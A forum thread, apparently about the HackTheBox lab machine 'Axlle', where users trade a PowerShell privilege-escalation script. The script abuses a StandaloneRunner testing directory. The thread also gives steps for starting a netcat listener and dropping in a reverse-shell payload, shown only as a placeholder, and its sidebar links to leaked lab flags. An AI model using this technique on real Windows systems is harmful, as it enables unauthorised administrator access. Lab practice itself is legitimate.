Temporary Advertisements:
Ad
Ad
Ad
HTB - Axlle
by Sqweez - Saturday June 22, 2024 at 06:57 PM
(Oct 01, 2024, 10:43 AM)Mas_PangaREP Wrote:
(Jul 09, 2024, 06:55 AM)Osminogka Wrote:
(Jul 09, 2024, 05:52 AM)maggi Wrote: I went to see if my janky ass way of getting on the box worked....works fine lobbing msf grenades still

BUT I believe they patched the root so overwriting of the standalonerunner is no longer a thing.

Yes here is exploit that you can use to get administrator shell:
$rebootContent = @"
myTestDir
True
"@
$rebootContent | Set-Content -Path ".\reboot.rsf"

New-Item -Path ".\myTestDir\working" -ItemType Directory -Force

New-Item -Path ".\rsf.rsf" -ItemType File -Force
Copy-Item -Path ".\rsf.rsf" -Destination ".\myTestDir\working"

$commandContent = @"
Powershell base64 reverse shell
"@
$commandContent | Set-Content -Path ".\command.txt"

start nc listener and run this exploit in standalonerunner directory, and you have to wait around one minute

can u tell spesifik method for this, using file or just copy paste that commands?. im stuck

You need just to save all this content that i posted inside .ps1 file, exploit.ps1 for example, also before uploading this file you need to specify correct payload for remote shell and then upload this script in C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\ directory then run
Reply
(Oct 12, 2024, 05:13 PM)Osminogka Wrote:
(Oct 01, 2024, 10:43 AM)Mas_PangaREP Wrote:
(Jul 09, 2024, 06:55 AM)Osminogka Wrote:
(Jul 09, 2024, 05:52 AM)maggi Wrote: I went to see if my janky ass way of getting on the box worked....works fine lobbing msf grenades still

BUT I believe they patched the root so overwriting of the standalonerunner is no longer a thing.

Yes here is exploit that you can use to get administrator shell:
$rebootContent = @"
myTestDir
True
"@
$rebootContent | Set-Content -Path ".\reboot.rsf"

New-Item -Path ".\myTestDir\working" -ItemType Directory -Force

New-Item -Path ".\rsf.rsf" -ItemType File -Force
Copy-Item -Path ".\rsf.rsf" -Destination ".\myTestDir\working"

$commandContent = @"
Powershell base64 reverse shell
"@
$commandContent | Set-Content -Path ".\command.txt"

start nc listener and run this exploit in standalonerunner directory, and you have to wait around one minute

can u tell spesifik method for this, using file or just copy paste that commands?. im stuck

You need just to save all this content that i posted inside .ps1 file, exploit.ps1 for example, also before uploading this file you need to specify correct payload for remote shell and then upload this script in C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\ directory then run


It's not working, Can you provide more details and also the payload you used? plz
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 110 14,221 3 hours ago
Last Post: Kazahk
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 85 11,232 4 hours ago
Last Post: Kazahk
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 165 34,712 Today, 08:27 AM
Last Post: groningen1981
  Finding solutions/flags/writeups for challenges meomeothantai 0 165 Today, 04:13 AM
Last Post: meomeothantai
  [FREE] HackTheBox Dante - complete writeup written by Tamarisk Tamarisk 625 115,385 Today, 03:26 AM
Last Post: kevin25hxl

Forum Jump:


 Users browsing this forum: 1 Guest(s)